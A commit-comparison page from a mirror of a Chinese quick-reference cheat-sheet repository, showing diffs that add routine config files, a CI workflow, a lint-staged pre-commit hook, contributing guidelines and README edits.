mirror of
https://github.com/jaywcjlove/reference.git
synced 2025-06-17 04:31:22 +08:00
Compare commits
365 Commits
Author | SHA1 | Date | |
---|---|---|---|
81271ed70d | |||
35fbc5a3f1 | |||
882fa91ddc | |||
4dfc55800c | |||
9858796be6 | |||
3d6cde371a | |||
48dc6076aa | |||
b3a11fcbe0 | |||
cec3afa139 | |||
78929052b2 | |||
376b40eb7a | |||
beb534d85e | |||
29df8a3f72 | |||
7f3a01ab23 | |||
3ce76d3089 | |||
0486c9c44b | |||
4b4dd754d1 | |||
c0c47f3c3d | |||
7320ba5233 | |||
e5a5c5446e | |||
e096c08a2c | |||
8a2a3f798f | |||
dfb0bed531 | |||
ad4d13de21 | |||
138a70b923 | |||
e313d5e63b | |||
dee418763a | |||
c905e30b86 | |||
1cddd80c03 | |||
1ddbc5b984 | |||
fe436e287b | |||
e060d26815 | |||
3846b515b5 | |||
32a3177738 | |||
37d647eb67 | |||
84a545cbf6 | |||
4505675c8a | |||
d2cd7d94dd | |||
7889b77174 | |||
9005f760d6 | |||
c9936dd525 | |||
128da3f03d | |||
62b0077745 | |||
36be2f4226 | |||
8f0dd77829 | |||
03d4aedc3d | |||
176bc1af3b | |||
59224651ad | |||
32f09fdf5d | |||
7e3810b48f | |||
3152b26478 | |||
61c3a6e528 | |||
c6ac6dcf11 | |||
37903965d1 | |||
51d396c119 | |||
b38129c127 | |||
bd82b34331 | |||
7ce13da973 | |||
8b48dd97c0 | |||
f9073adf32 | |||
8c29c45622 | |||
db63c34543 | |||
764b55045d | |||
7479c1045c | |||
dab87fc21b | |||
3263edca0e | |||
d2b0a34e69 | |||
b034d7970d | |||
599215755f | |||
bce9b67afb | |||
50e82b11b6 | |||
e36abdee8b | |||
7fe648c170 | |||
76e8c1bdc6 | |||
9fe2674c6c | |||
5c8b11767f | |||
709aef66fb | |||
13e67d63ac | |||
f9a31e40ca | |||
effa2500ed | |||
1d1f8778dd | |||
74afc52463 | |||
d9ed56a390 | |||
f9461ac0c3 | |||
1bda7de8c4 | |||
067e5d6d16 | |||
76b1e5b41f | |||
fe10fbe8bb | |||
2c07547c83 | |||
390eaa2e1b | |||
d7688f90bb | |||
38453c5e31 | |||
fda783c165 | |||
152dc14279 | |||
e4d6ddecca | |||
51bd7303d1 | |||
7d26adb7a6 | |||
769d75e8bf | |||
7c6e2270b8 | |||
db647aaf35 | |||
fbbbd00a9c | |||
6f7affffdd | |||
464c49645d | |||
c20d19c976 | |||
0f199d2ff5 | |||
57f25fc10a | |||
d8a37d084f | |||
03cc3cf5c3 | |||
bf49b5f9a5 | |||
adebf47812 | |||
f5c9b232b5 | |||
d6504023d5 | |||
3bade1d5a5 | |||
0ad14d89a0 | |||
5ee649ae9b | |||
ef680890ce | |||
1fda256237 | |||
f9ca460565 | |||
8e265becb5 | |||
e1639d0ce0 | |||
f5f05aacf5 | |||
90c80e720e | |||
823b3163d4 | |||
fe562e5fb1 | |||
85c4149e1c | |||
e849f19712 | |||
71e5470efd | |||
38d79cd2a0 | |||
0e0eb9c628 | |||
7b46142372 | |||
41b42c17b7 | |||
cfb0b98673 | |||
8a9d9de14b | |||
c2cb9fa3d7 | |||
11edef0d1b | |||
b13ca7ee0a | |||
5f6029a051 | |||
8592dff419 | |||
bb817cbb40 | |||
0bc31c68c3 | |||
aab4d3bcff | |||
a3ddc58b0a | |||
c4398d5220 | |||
ada64ac643 | |||
84876edb2e | |||
0c8dddf8e7 | |||
edaf531b50 | |||
2200972ce7 | |||
aaa0f1f523 | |||
465cdc7bc1 | |||
c97f6a7bca | |||
8f980a92c1 | |||
4f0198877b | |||
e0ccae5659 | |||
c40b5ecb85 | |||
9c3ad5a300 | |||
3bac78a4d0 | |||
9db2ce1974 | |||
345bb9013d | |||
4eedb2bcbe | |||
63739bff97 | |||
a4650ba20b | |||
304fca65aa | |||
7dab4bc821 | |||
a3a03dc5cf | |||
c4027826df | |||
ec5de21ad8 | |||
2d29bce40d | |||
45916503c1 | |||
7dab833cb5 | |||
2787e80dd2 | |||
51377308ab | |||
5660ad20dd | |||
0917f70be8 | |||
dcbdaea754 | |||
144f263ad0 | |||
ef5a27f5a1 | |||
82457e896e | |||
d796def71c | |||
8cb9a8eaa4 | |||
739697937d | |||
4ce6660ca8 | |||
5677612d9d | |||
6d24b1b957 | |||
72d3bd8d42 | |||
2d4a9604cf | |||
7a22e7cda2 | |||
85071d3204 | |||
c4694ed832 | |||
906cbdd152 | |||
a38f6d8f85 | |||
2037e0f6b9 | |||
bb2cff4f9b | |||
b3c47e2b2d | |||
5701da6e5b | |||
ea80136db3 | |||
aa26be4186 | |||
2b1d33a5db | |||
dbf8ac4fb2 | |||
f2f1ef8c52 | |||
748ed480f4 | |||
7c2338ea76 | |||
90c9fefa51 | |||
29f3b971d2 | |||
b2aabe4291 | |||
04e6e16a97 | |||
3db12d6cce | |||
3f0b60187c | |||
bead2f0e3b | |||
816f49004f | |||
12b84b8368 | |||
56b4b78d7d | |||
f28c93b918 | |||
0bfe15e4dc | |||
c1394813bc | |||
06c6229cac | |||
04dd94d6f8 | |||
5f19d3feee | |||
e48fd74c38 | |||
7c7f25bf9f | |||
2dde0c4408 | |||
a2d7cd6e7b | |||
10366e3317 | |||
4bf8a55bf3 | |||
0101ef71d0 | |||
aa38a0e765 | |||
4a1eb6964d | |||
f6ff51be15 | |||
6c89718254 | |||
8c79a648a4 | |||
f021d73b77 | |||
c060c36559 | |||
39aa2c4387 | |||
aeca8351bd | |||
d7d6b0d447 | |||
4d69a0ef24 | |||
bafc15d17e | |||
68069fbf01 | |||
ca3cf85666 | |||
040af8095f | |||
d1dea83330 | |||
4503b28837 | |||
02d0a495a6 | |||
c66d1c0294 | |||
f2d43d65df | |||
009c50760c | |||
f683ca5294 | |||
04369f05d3 | |||
ae04c01eb4 | |||
e66c1c57fd | |||
c7df917009 | |||
a5744c23b7 | |||
d8ab87b0e0 | |||
e87ce59a88 | |||
428d8488f3 | |||
e84c69f8b9 | |||
3cdc2685e6 | |||
df3e04ba92 | |||
4662fb8071 | |||
600dbc6fef | |||
559fd4bd12 | |||
05be6476ca | |||
75a0acfc5d | |||
40d15647e0 | |||
f19dcdf8c4 | |||
b5f2969044 | |||
4311bd4ed8 | |||
c049ca33c4 | |||
3d2c9cd978 | |||
80fa7c64c3 | |||
2fbf2151b6 | |||
115a7215a5 | |||
a24cf740e2 | |||
bd3839f648 | |||
6f2da75d94 | |||
ffe4293418 | |||
af19ee8a8d | |||
a52d7d4b15 | |||
b63edf46f8 | |||
4caec0d065 | |||
6d602f3e89 | |||
ff9d38de17 | |||
ca5ddf74a0 | |||
5c0f89908e | |||
0fde136208 | |||
8438b91448 | |||
075b69e9ed | |||
f14ae527b0 | |||
4f68d94311 | |||
10d7679216 | |||
516ff9af69 | |||
a9896a265f | |||
5f533d8332 | |||
f60826e6da | |||
b258494776 | |||
8586f8a212 | |||
f8a706064a | |||
48b5d0fba3 | |||
18b276097d | |||
333891b7c3 | |||
e145ecc715 | |||
1e4b812bc3 | |||
909527deec | |||
ce02da885e | |||
fb464bd4ff | |||
9a2b43372a | |||
42130cf58e | |||
cbc94665a5 | |||
2c808c7c8d | |||
6aa07fc077 | |||
444f0d850c | |||
8f087e03ff | |||
37c9f23952 | |||
cb704eed88 | |||
75fece7aab | |||
3966175a39 | |||
0c03059cde | |||
efae1dc846 | |||
4132a13a96 | |||
bd082908d8 | |||
dd8a3cb26d | |||
6d0801a9da | |||
6290b9eae0 | |||
9479626194 | |||
ad4b2e9119 | |||
d48341cecb | |||
5aec989c14 | |||
13492fe556 | |||
d145aaa0b0 | |||
531c01d62e | |||
0a160d22d8 | |||
0a070e996c | |||
54faf5c19c | |||
09f57d1848 | |||
f875a335e1 | |||
b743110c9d | |||
d1c9871504 | |||
a478fbb888 | |||
fdcfcb287b | |||
3003e3db66 | |||
ca1f5ad470 | |||
d0d371b165 | |||
54b7faee00 | |||
8d7cc05f4d | |||
4498add1f2 | |||
6c8e56ad61 | |||
ef976825e4 | |||
9d3a061bff | |||
cd1be27fae | |||
9774884614 | |||
c357f95bf0 | |||
b37c268882 | |||
7edba8e207 | |||
efbd007801 | |||
f01c001040 | |||
727d47725f | |||
4e764197c7 | |||
64400ea686 | |||
a540fb7fd9 | |||
71d2bfce9a | |||
5685eb285a | |||
227a7a7149 | |||
a7c1d81698 | |||
e876e96430 | |||
cb5f742608 |
27
.dockerignore
Normal file
27
.dockerignore
Normal file
@ -0,0 +1,27 @@
|
||||
.github
|
||||
.husky
|
||||
docs
|
||||
scripts
|
||||
node_modules
|
||||
package-lock.json
|
||||
pnpm-lock.yaml
|
||||
yarn.lock
|
||||
|
||||
.DS_Store
|
||||
.cache
|
||||
.vscode
|
||||
.idea
|
||||
.snap
|
||||
.env
|
||||
|
||||
*.bak
|
||||
*.tem
|
||||
*.temp
|
||||
#.swp
|
||||
*.*~
|
||||
~*.*
|
||||
|
||||
# IDEA
|
||||
*.iml
|
||||
*.ipr
|
||||
*.iws
|
7
.editorconfig
Normal file
7
.editorconfig
Normal file
@ -0,0 +1,7 @@
|
||||
root = true
|
||||
|
||||
[./docs/*.md]
|
||||
charset = utf-8
|
||||
indent_style = space
|
||||
indent_size = 2
|
||||
insert_final_newline = true
|
1
.gitattributes
vendored
Normal file
1
.gitattributes
vendored
Normal file
@ -0,0 +1 @@
|
||||
*.md linguist-detectable=true
|
39
.github/ISSUE_TEMPLATE/cheatsheet-request.md
vendored
39
.github/ISSUE_TEMPLATE/cheatsheet-request.md
vendored
@ -1,25 +1,36 @@
|
||||
---
|
||||
name: 🤙 备忘单请求
|
||||
about: 请求添加备忘单和参考。
|
||||
title: '备忘清单 请求: '
|
||||
name: 🤙 备忘清单请求
|
||||
about: 请求添加备忘清单和参考。
|
||||
title: '请求添加备忘清单: '
|
||||
labels: request
|
||||
assignees: jaywcjlove
|
||||
---
|
||||
备忘清单标题 备忘清单
|
||||
===
|
||||
|
||||
这是您可以在 Quick Reference 备忘清单上使用的参考!【备忘清单介绍】
|
||||
🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧
|
||||
注意:请求太多,参考【优先级】快速添加内容
|
||||
🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧
|
||||
|
||||
入门
|
||||
---
|
||||
#### 优先级
|
||||
|
||||
### 卡片 1
|
||||
- [ ] 提交 PR 优先合并(优先处理)
|
||||
- [ ] 提供可复制的[中文/英文]备忘清单资料,优先添加
|
||||
- [ ] 大众化的内容(java/python),优先搬运(小众内容请提供资料)
|
||||
|
||||
### 卡片 2
|
||||
#### 说明项目
|
||||
|
||||
### 卡片 3
|
||||
您可以在这里简单的提供一些资料,方便我们在 Quick Reference 中添加您想添加的备忘清单(速查表)。
|
||||
|
||||
另见
|
||||
----
|
||||
【请您在这里介绍一下工具或者语言,这很重要】
|
||||
|
||||
- [参考地址](https://xxx.com)
|
||||
- 如果你有一张不错的备忘清单(速查表) [`参考这里`](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md) 为仓库贡献。
|
||||
- 如果您不方便贡献,请在下方参考资料中提供链接地址,方便共建备忘清单(速查表)
|
||||
- 这里为您提供了 Markdown 排版[示例教程](https://jaywcjlove.github.io/reference/docs/quickreference.html)
|
||||
|
||||
#### 提供参考资料地址
|
||||
|
||||
提供更多参考资料有助于我们整理成备忘清单(速查表)
|
||||
|
||||
- 提供参考地址 https://jaywcjlove.github.io/reference
|
||||
- 提供官网地址 https://jaywcjlove.github.io/reference
|
||||
|
||||
_⚠️ 注意: 随着内容越来越多,可能甚至找不到这个工具或者语言的官网,请您在这里提供以便大家共同参与贡献内容_
|
22
.github/workflows/ci.yml
vendored
22
.github/workflows/ci.yml
vendored
@ -16,6 +16,28 @@ jobs:
|
||||
- run: npm install
|
||||
- run: npm run build
|
||||
|
||||
- name: Generate Contributors Images
|
||||
uses: jaywcjlove/github-action-contributors@main
|
||||
id: contributors
|
||||
with:
|
||||
filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\])
|
||||
output: dist/CONTRIBUTORS.svg
|
||||
avatarSize: 42
|
||||
|
||||
- name: Modify CONTRIBUTING.md
|
||||
uses: jaywcjlove/github-action-modify-file-content@main
|
||||
with:
|
||||
path: CONTRIBUTING.md
|
||||
body: |
|
||||
${{steps.contributors.outputs.htmlList}}
|
||||
|
||||
- name: Modify README.md
|
||||
uses: jaywcjlove/github-action-modify-file-content@main
|
||||
with:
|
||||
path: README.md
|
||||
body: |
|
||||
${{steps.contributors.outputs.htmlList}}
|
||||
|
||||
- name: Create Tag
|
||||
id: create_tag
|
||||
uses: jaywcjlove/create-tag-action@main
|
||||
|
2
.gitignore
vendored
2
.gitignore
vendored
@ -2,6 +2,8 @@ build
|
||||
dist
|
||||
node_modules
|
||||
package-lock.json
|
||||
pnpm-lock.yaml
|
||||
yarn.lock
|
||||
|
||||
.DS_Store
|
||||
.cache
|
||||
|
4
.husky/pre-commit
Executable file
4
.husky/pre-commit
Executable file
@ -0,0 +1,4 @@
|
||||
#!/usr/bin/env sh
|
||||
. "$(dirname -- "$0")/_/husky.sh"
|
||||
|
||||
npx --no-install lint-staged
|
4
.lintstagedrc
Normal file
4
.lintstagedrc
Normal file
@ -0,0 +1,4 @@
|
||||
{
|
||||
"**/*.{mjs,css,json,prettierrc,lintstagedrc}": ["prettier --write"],
|
||||
"./docs/*.md": ["npx markdownlint-cli --fix ./docs"]
|
||||
}
|
12
.markdownlint.json
Normal file
12
.markdownlint.json
Normal file
@ -0,0 +1,12 @@
|
||||
{
|
||||
"MD003": false,
|
||||
"MD013": false,
|
||||
"MD014": false,
|
||||
"MD024": false,
|
||||
"MD033": false,
|
||||
"MD040": false,
|
||||
"MD010": {
|
||||
"code_blocks": true,
|
||||
"spaces_per_tab": 2
|
||||
}
|
||||
}
|
5
.prettierignore
Normal file
5
.prettierignore
Normal file
@ -0,0 +1,5 @@
|
||||
package.json
|
||||
coverage
|
||||
dist
|
||||
build
|
||||
docs
|
9
.prettierrc
Normal file
9
.prettierrc
Normal file
@ -0,0 +1,9 @@
|
||||
{
|
||||
"singleQuote": true,
|
||||
"trailingComma": "all",
|
||||
"printWidth": 120,
|
||||
"overrides": [
|
||||
{ "files": ".prettierrc", "options": { "parser": "json" } },
|
||||
{ "files": ".lintstagedrc", "options": { "parser": "json" } }
|
||||
]
|
||||
}
|
178
CONTRIBUTING.md
178
CONTRIBUTING.md
@ -14,11 +14,31 @@ Contributing 贡献
|
||||
这是您可以在 Quick Reference 备忘清单上使用的样式参考!【备忘清单介绍】
|
||||
```
|
||||
|
||||
只需要 `标题<h1>` 和`介绍`(标题下面)。脚本会自动识别,通过 GitHub Actions 自动发布 [`Quick Reference`](https://jaywcjlove.github.io/reference) 网站。
|
||||
只需要 `标题<h1>` 和 `介绍` (标题下面)。脚本会自动识别,通过 GitHub Actions 自动发布 [`Quick Reference`](https://jaywcjlove.github.io/reference) 网站。
|
||||
|
||||
## 目录结构
|
||||
|
||||
```bash
|
||||
.
|
||||
├── CONTRIBUTING.md # 贡献说明
|
||||
├── Dockerfile
|
||||
├── LICENSE
|
||||
├── README.md # Home(首页) 内容
|
||||
├── dist # 编译后的静态资源目录
|
||||
├── docs # Markdown 文档(快速参考备忘清单【速查表】)
|
||||
│ ├── bash.md
|
||||
│ ├── ....
|
||||
│ └── yaml.md
|
||||
├── package.json
|
||||
└── scripts # MD 转 HTML 的编译脚本
|
||||
├── assets # 存放首页 svg 图标文件资源,与 `dosc` 文件名对应
|
||||
├── ....
|
||||
└── watch.mjs
|
||||
```
|
||||
|
||||
## CSS 类注释
|
||||
|
||||
[`Quick Reference`](https://jaywcjlove.github.io/reference) 使用 [`@wcj/markdown-to-html`](https://github.com/jaywcjlove/markdown-to-html) 转换 `Markdown`,并使用 [`rehype-attr`](https://github.com/jaywcjlove/rehype-attr) 插件让其支持通过其注释语法添加类和样式。 此外,您可以在 Quick Reference 备忘清单上使用样式参考:https://jaywcjlove.github.io/reference/docs/quickreference.html
|
||||
[`Quick Reference`](https://jaywcjlove.github.io/reference) 使用 [`@wcj/markdown-to-html`](https://github.com/jaywcjlove/markdown-to-html) 转换 `Markdown`,并使用 [`rehype-attr`](https://github.com/jaywcjlove/rehype-attr) 插件让其支持通过其注释语法添加类和样式。此外,您可以在 Quick Reference 备忘清单上使用样式参考:<https://jaywcjlove.github.io/reference/docs/quickreference.html>
|
||||
|
||||
最后,参考现有备忘清单的源代码是一个好习惯!
|
||||
|
||||
@ -34,10 +54,162 @@ Contributing 贡献
|
||||
<!--rehype:class=home-card-->
|
||||
```
|
||||
|
||||
首页导航图标存放在 `scripts/assets` 目录中,如果你的备忘清单定义为 `docs/cron.md`,那么你的图标就定义为 `cron.svg` 存放到 `scripts/assets` 目录中,重新编译首页当行菜单就拥有了图标。
|
||||
|
||||
- 图标存放在 [`scripts/assets`](https://github.com/jaywcjlove/reference/blob/main/scripts/assets) 目录中
|
||||
- 图片名称与清单名称保持一致 `cron.md` -> `cron.svg` (注意大小写)
|
||||
- SVG 图标尺寸 `<svg height="1em" width="1em"`
|
||||
- SVG 图标颜色使用继承颜色值 `<svg fill="currentColor"`
|
||||
|
||||
### 提示配置
|
||||
|
||||
```markdown
|
||||
[Django](./docs/djiango.md)<!--rehype:style=background: rgb(12 75 51/var(\-\-bg\-opacity));&class=contributing-->
|
||||
```
|
||||
|
||||
添加 `contributing` 类名,会在卡片下方添加 _`👆待完善需要您的参与`_,添加 `data-info=👆看看还缺点儿什么?`,更换默认提示文本。
|
||||
|
||||
```markdown
|
||||
[Django](./docs/djiango.md)<!--rehype:style=background: rgb(12 75 51/var(\-\-bg\-opacity));&class=tag&data-lang=Python-->
|
||||
```
|
||||
|
||||
添加 `class=tag&data-lang=Python` 类名和参数,会在卡片右上角标记 _`Python`_
|
||||
|
||||
## 本地开发
|
||||
|
||||
```bash
|
||||
npm i # 安装依赖
|
||||
npm run build # 编译输出 HTML
|
||||
npm run start # 监听 md 文件编译输出 HTML
|
||||
```
|
||||
```
|
||||
|
||||
或者你也可以使用 `pnpm` 或者 `yarn` 做为包管理器
|
||||
|
||||
|
||||
## 贡献
|
||||
|
||||
请参阅[贡献指南](./CONTRIBUTING.md)了解如何开始。一如既往,感谢我们出色的贡献者!
|
||||
|
||||
<!--GAMFC--><a href="https://github.com/jaywcjlove" title="小弟调调™">
|
||||
<img src="https://avatars.githubusercontent.com/u/1680273?v=4" width="42;" alt="小弟调调™"/>
|
||||
</a>
|
||||
<a href="https://github.com/Jack-Zhang-1314" title="fw_qaq">
|
||||
<img src="https://avatars.githubusercontent.com/u/82551626?v=4" width="42;" alt="fw_qaq"/>
|
||||
</a>
|
||||
<a href="https://github.com/Alex-Programer" title="Alex">
|
||||
<img src="https://avatars.githubusercontent.com/u/115539090?v=4" width="42;" alt="Alex"/>
|
||||
</a>
|
||||
<a href="https://github.com/mofelee" title="mofelee">
|
||||
<img src="https://avatars.githubusercontent.com/u/5069410?v=4" width="42;" alt="mofelee"/>
|
||||
</a>
|
||||
<a href="https://github.com/expoli" title="expoli">
|
||||
<img src="https://avatars.githubusercontent.com/u/31023767?v=4" width="42;" alt="expoli"/>
|
||||
</a>
|
||||
<a href="https://github.com/partoneplay" title="partoneplay">
|
||||
<img src="https://avatars.githubusercontent.com/u/5189132?v=4" width="42;" alt="partoneplay"/>
|
||||
</a>
|
||||
<a href="https://github.com/catcto" title="喵仙人">
|
||||
<img src="https://avatars.githubusercontent.com/u/5467932?v=4" width="42;" alt="喵仙人"/>
|
||||
</a>
|
||||
<a href="https://github.com/13812700839" title="花殇">
|
||||
<img src="https://avatars.githubusercontent.com/u/58072506?v=4" width="42;" alt="花殇"/>
|
||||
</a>
|
||||
<a href="https://github.com/Smartdousha" title="Anko">
|
||||
<img src="https://avatars.githubusercontent.com/u/52566311?v=4" width="42;" alt="Anko"/>
|
||||
</a>
|
||||
<a href="https://github.com/Brid9e" title="Brid9e">
|
||||
<img src="https://avatars.githubusercontent.com/u/85558909?v=4" width="42;" alt="Brid9e"/>
|
||||
</a>
|
||||
<a href="https://github.com/CharlotteZeng" title="Chart">
|
||||
<img src="https://avatars.githubusercontent.com/u/19461184?v=4" width="42;" alt="Chart"/>
|
||||
</a>
|
||||
<a href="https://github.com/DaiNing810" title="DaiN">
|
||||
<img src="https://avatars.githubusercontent.com/u/94962339?v=4" width="42;" alt="DaiN"/>
|
||||
</a>
|
||||
<a href="https://github.com/demigodliu" title="DemigodLiu">
|
||||
<img src="https://avatars.githubusercontent.com/u/30372735?v=4" width="42;" alt="DemigodLiu"/>
|
||||
</a>
|
||||
<a href="https://github.com/jasnzhuang" title="Jason Zhuang">
|
||||
<img src="https://avatars.githubusercontent.com/u/16612921?v=4" width="42;" alt="Jason Zhuang"/>
|
||||
</a>
|
||||
<a href="https://github.com/JetSquirrel" title="JetSquirrel">
|
||||
<img src="https://avatars.githubusercontent.com/u/20291255?v=4" width="42;" alt="JetSquirrel"/>
|
||||
</a>
|
||||
<a href="https://github.com/Lihuagreek" title="Lihuagreek">
|
||||
<img src="https://avatars.githubusercontent.com/u/51040740?v=4" width="42;" alt="Lihuagreek"/>
|
||||
</a>
|
||||
<a href="https://github.com/mariuszmichalowski" title="Mariusz Michalowski">
|
||||
<img src="https://avatars.githubusercontent.com/u/92091891?v=4" width="42;" alt="Mariusz Michalowski"/>
|
||||
</a>
|
||||
<a href="https://github.com/HanaNoryu" title="Noryu">
|
||||
<img src="https://avatars.githubusercontent.com/u/109856546?v=4" width="42;" alt="Noryu"/>
|
||||
</a>
|
||||
<a href="https://github.com/whb1998a" title="WHB">
|
||||
<img src="https://avatars.githubusercontent.com/u/44045064?v=4" width="42;" alt="WHB"/>
|
||||
</a>
|
||||
<a href="https://github.com/y52y" title="Zyj">
|
||||
<img src="https://avatars.githubusercontent.com/u/51304324?v=4" width="42;" alt="Zyj"/>
|
||||
</a>
|
||||
<a href="https://github.com/chyok" title="chyok">
|
||||
<img src="https://avatars.githubusercontent.com/u/32629225?v=4" width="42;" alt="chyok"/>
|
||||
</a>
|
||||
<a href="https://github.com/gaoxiaoduan" title="coderduan">
|
||||
<img src="https://avatars.githubusercontent.com/u/69953511?v=4" width="42;" alt="coderduan"/>
|
||||
</a>
|
||||
<a href="https://github.com/cool9203" title="cool9203">
|
||||
<img src="https://avatars.githubusercontent.com/u/29609607?v=4" width="42;" alt="cool9203"/>
|
||||
</a>
|
||||
<a href="https://github.com/godotc" title="godotc">
|
||||
<img src="https://avatars.githubusercontent.com/u/79260851?v=4" width="42;" alt="godotc"/>
|
||||
</a>
|
||||
<a href="https://github.com/greyhao" title="greyhao">
|
||||
<img src="https://avatars.githubusercontent.com/u/107107440?v=4" width="42;" alt="greyhao"/>
|
||||
</a>
|
||||
<a href="https://github.com/hua03" title="hua03">
|
||||
<img src="https://avatars.githubusercontent.com/u/19561959?v=4" width="42;" alt="hua03"/>
|
||||
</a>
|
||||
<a href="https://github.com/hweining" title="hweining">
|
||||
<img src="https://avatars.githubusercontent.com/u/8973985?v=4" width="42;" alt="hweining"/>
|
||||
</a>
|
||||
<a href="https://github.com/k983551019" title="k983551019">
|
||||
<img src="https://avatars.githubusercontent.com/u/48147837?v=4" width="42;" alt="k983551019"/>
|
||||
</a>
|
||||
<a href="https://github.com/kdxcxs" title="kdxcxs">
|
||||
<img src="https://avatars.githubusercontent.com/u/18746192?v=4" width="42;" alt="kdxcxs"/>
|
||||
</a>
|
||||
<a href="https://github.com/larry-xue" title="larry">
|
||||
<img src="https://avatars.githubusercontent.com/u/48818060?v=4" width="42;" alt="larry"/>
|
||||
</a>
|
||||
<a href="https://github.com/liliangrong777" title="liliangrong777">
|
||||
<img src="https://avatars.githubusercontent.com/u/58727146?v=4" width="42;" alt="liliangrong777"/>
|
||||
</a>
|
||||
<a href="https://github.com/lykjjj" title="lykjjj">
|
||||
<img src="https://avatars.githubusercontent.com/u/58510058?v=4" width="42;" alt="lykjjj"/>
|
||||
</a>
|
||||
<a href="https://github.com/onewesong" title="onewesong">
|
||||
<img src="https://avatars.githubusercontent.com/u/17920822?v=4" width="42;" alt="onewesong"/>
|
||||
</a>
|
||||
<a href="https://github.com/ryanhex53" title="ryanhex53">
|
||||
<img src="https://avatars.githubusercontent.com/u/360426?v=4" width="42;" alt="ryanhex53"/>
|
||||
</a>
|
||||
<a href="https://github.com/wjjwkwindy" title="wjjwkwindy">
|
||||
<img src="https://avatars.githubusercontent.com/u/9508591?v=4" width="42;" alt="wjjwkwindy"/>
|
||||
</a>
|
||||
<a href="https://github.com/xing133" title="xing133">
|
||||
<img src="https://avatars.githubusercontent.com/u/5336490?v=4" width="42;" alt="xing133"/>
|
||||
</a>
|
||||
<a href="https://github.com/zxx-457" title="zxx-457">
|
||||
<img src="https://avatars.githubusercontent.com/u/114141362?v=4" width="42;" alt="zxx-457"/>
|
||||
</a>
|
||||
<a href="https://github.com/lvzhenbo" title="吕振波">
|
||||
<img src="https://avatars.githubusercontent.com/u/32427677?v=4" width="42;" alt="吕振波"/>
|
||||
</a>
|
||||
<a href="https://github.com/lisheng741" title="芦荟柚子茶">
|
||||
<img src="https://avatars.githubusercontent.com/u/53617305?v=4" width="42;" alt="芦荟柚子茶"/>
|
||||
</a><!--GAMFC-END-->
|
||||
|
||||
上图贡献者列表,由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成贡献者图片。
|
||||
|
||||
## License
|
||||
|
||||
MIT © [Kenny Wong](https://github.com/jaywcjlove)
|
||||
|
255
README.md
255
README.md
@ -8,74 +8,151 @@ Quick Reference
|
||||
[](https://hub.docker.com/r/wcjiang/reference)
|
||||
<!--rehype:ignore:end-->
|
||||
|
||||
为开发人员分享快速参考备忘清单(主要是方便自己),在看到 [Reference](https://github.com/Randy8080/reference) 快速参考备忘单,感觉非常简单,造轮子使命感突然来了,造个中文版本的,为了方便自己的技术栈查阅,立马撸起来 :)。
|
||||
<!--rehype:ignore:start-->
|
||||
[](https://jaywcjlove.github.io/reference)
|
||||
<!--rehype:ignore:end-->
|
||||
|
||||
如果您发现此处的备忘单不合适,您可以通过提交 [PR](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md) 来修复它或提供更好的备忘清单,只针对【中文】用户。以下是开源天使提供的一些备忘清单和快速参考 :)。
|
||||
为开发人员分享快速参考备忘清单【速查表】。这是英文版 [Reference](https://github.com/Randy8080/reference) 的中文版本,目的是为了方便自己的技术栈查阅,如果您提供一个清单,我将抽空搬运,立即撸起来 :)。如果您发现此处的备忘单不合适,您可以通过提交 [PR](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md) 来修复它或提供更好的备忘清单,只针对【中文】用户。以下是开源天使提供的一些备忘清单和快速参考 :)。
|
||||
|
||||
## 正在建设中...
|
||||
|
||||
坑已挖,需要您的参与完善和贡献!🙏
|
||||
<!--rehype:style=padding-bottom: 23px;-->
|
||||
|
||||
[Ansible](./docs/ansible.md)<!--rehype:style=background: rgb(238 0 0/var(\-\-bg\-opacity));&class=contributing tag&data-lang=RedHad&data-info=👆看看还缺点儿什么?-->
|
||||
[CMake](./docs/cmake.md)<!--rehype:style=background: rgb(92 107 192/var(\-\-bg\-opacity));&class=contributing-->
|
||||
[C#](./docs/cs.md)<!--rehype:style=background: rgb(6 147 13/var(\-\-bg\-opacity));&class=contributing-->
|
||||
[Django](./docs/djiango.md)<!--rehype:style=background: rgb(12 75 51/var(\-\-bg\-opacity));&class=contributing tag&data-lang=Python-->
|
||||
[FFmpeg](./docs/ffmpeg.md)<!--rehype:style=background: rgb(0 193 9/var(\-\-bg\-opacity));&class=contributing-->
|
||||
[LaTeX](./docs/latex.md)<!--rehype:style=background: rgb(0 128 128/var(\-\-bg\-opacity));&class=contributing-->
|
||||
[Lua](./docs/lua.md)<!--rehype:style=background: rgb(3 3 128/var(\-\-bg\-opacity));-->
|
||||
[MATLAB](./docs/matlab.md)<!--rehype:style=background: rgb(0 118 168/var(\-\-bg\-opacity));&class=contributing-->
|
||||
[Vue 3](./docs/vue.md)<!--rehype:style=background: rgb(64 184 131/var(\-\-bg\-opacity));&class=contributing-->
|
||||
[Pytorch](./docs/pytorch.md)<!--rehype:style=background: rgb(238 76 44/var(\-\-bg\-opacity));&class=contributing tag&data-lang=Python&data-info=👆看看还缺点儿什么?-->
|
||||
<!--rehype:class=home-card-->
|
||||
|
||||
## 编程
|
||||
|
||||
[Bash](./docs/bash.md)<!--rehype:style=background: rgb(72 143 223/var(\-\-bg\-opacity));-->
|
||||
[C](./docs/c.md)<!--rehype:style=background: rgb(92 107 192/var(\-\-bg\-opacity));-->
|
||||
[C#](./docs/cs.md)<!--rehype:style=background: rgb(6 147 13/var(\-\-bg\-opacity));&class=contributing-->
|
||||
[CPP](./docs/cpp.md)<!--rehype:style=background: rgb(6 147 13/var(\-\-bg\-opacity));&class=contributing-->
|
||||
[Dart](./docs/dart.md)<!--rehype:style=background: rgb(64 196 255/var(\-\-bg\-opacity));-->
|
||||
[Docker](./docs/docker.md)<!--rehype:style=background: rgb(72 143 223/var(\-\-bg\-opacity));-->
|
||||
[Dockerfile](./docs/dockerfile.md)<!--rehype:style=background: rgb(0 72 153/var(\-\-bg\-opacity));-->
|
||||
[Dockerfile](./docs/dockerfile.md)<!--rehype:style=background: rgb(0 72 153/var(\-\-bg\-opacity));&class=tag&data-lang=Docker-->
|
||||
[Django](./docs/djiango.md)<!--rehype:style=background: rgb(12 75 51/var(\-\-bg\-opacity));&class=contributing tag&data-lang=Python-->
|
||||
[Golang](./docs/golang.md)<!--rehype:style=background: rgb(39 160 193/var(\-\-bg\-opacity));-->
|
||||
